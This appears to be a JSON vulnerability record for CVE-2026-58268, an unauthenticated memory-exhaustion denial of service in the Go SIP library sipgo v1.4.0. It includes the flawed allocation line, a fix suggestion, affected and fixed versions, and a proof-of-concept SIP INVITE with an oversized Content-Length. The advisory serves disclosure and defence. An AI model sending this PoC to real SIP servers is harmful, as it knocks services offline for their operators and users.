{"id":"CVE-2026-58268","aliases":["GHSA-pg59-5vwg-4jxq","GO-2026-6550"],"url":"https://o3.security/vulnerability/CVE-2026-58268","summary":"SIPGO: DoS via unvalidated Content-Length in the stream parser","details":"### Summary\n\nThe stream parser allocates the SIP body buffer from the `Content-Length` header before validating its size, which can lead to an unauthenticated DoS.\n\n### Details\n\n`ParserStream.parseSingle` allocates the body buffer from the declared `Content-Length` with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):\n\n```go\nbody := make([]byte, contentLength)   // contentLength is client-controlled, up to 2^32-1 (uint32)\n```\n\nThe `ParseMaxMessageLength` (65535) check is in the caller `ParseNext` (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after `parseSingle` has already allocated the buffer.\n\n### PoC\n\nTested on emiago/sipgo v1.4.0 (latest).\n\nSend a single message with a large `Content-Length` and no body to a SIP server:\n\n```\nINVITE sip:victim@example.com SIP/2.0\nVia: SIP/2.0/TCP attacker.example;branch=z9hG4bK1\nFrom: <sip:attacker@attacker.example>;tag=1\nTo: <sip:victim@example.com>\nCall-ID: 1@attacker.example\nCSeq: 1 INVITE\nContent-Length: 4000000000                     // <- a large Content-Length\n\n```\n\n### Suggested Fix\n\nValidate `contentLength` against `ParseMaxMessageLength` before the allocation.\n\n### Impact\n\nUnauthenticated DoS. Any service using `sipgo` with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.","published":"2026-09-22T19:49:09.625Z","modified":"2026-10-21T02:58:47.071386901Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/emiago/sipgo","fixedVersion":"1.4.1"}],"fix":{"url":"https://github.com/emiago/sipgo/commit/a7be60a07f48c06b3cdd5a7d35eb820b3df5736c","label":"emiago/sipgo@a7be60a"},"references":[{"type":"WEB","url":"https://github.com/emiago/sipgo/releases/tag/v1.4.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58268.json"},{"type":"ADVISORY","url":"https://github.com/emiago/sipgo/security/advisories/GHSA-pg59-5vwg-4jxq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58268"},{"type":"FIX","url":"https://github.com/emiago/sipgo/commit/a7be60a07f48c06b3cdd5a7d35eb820b3df5736c"},{"type":"PACKAGE","url":"https://github.com/emiago/sipgo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:47.071386901Z"}}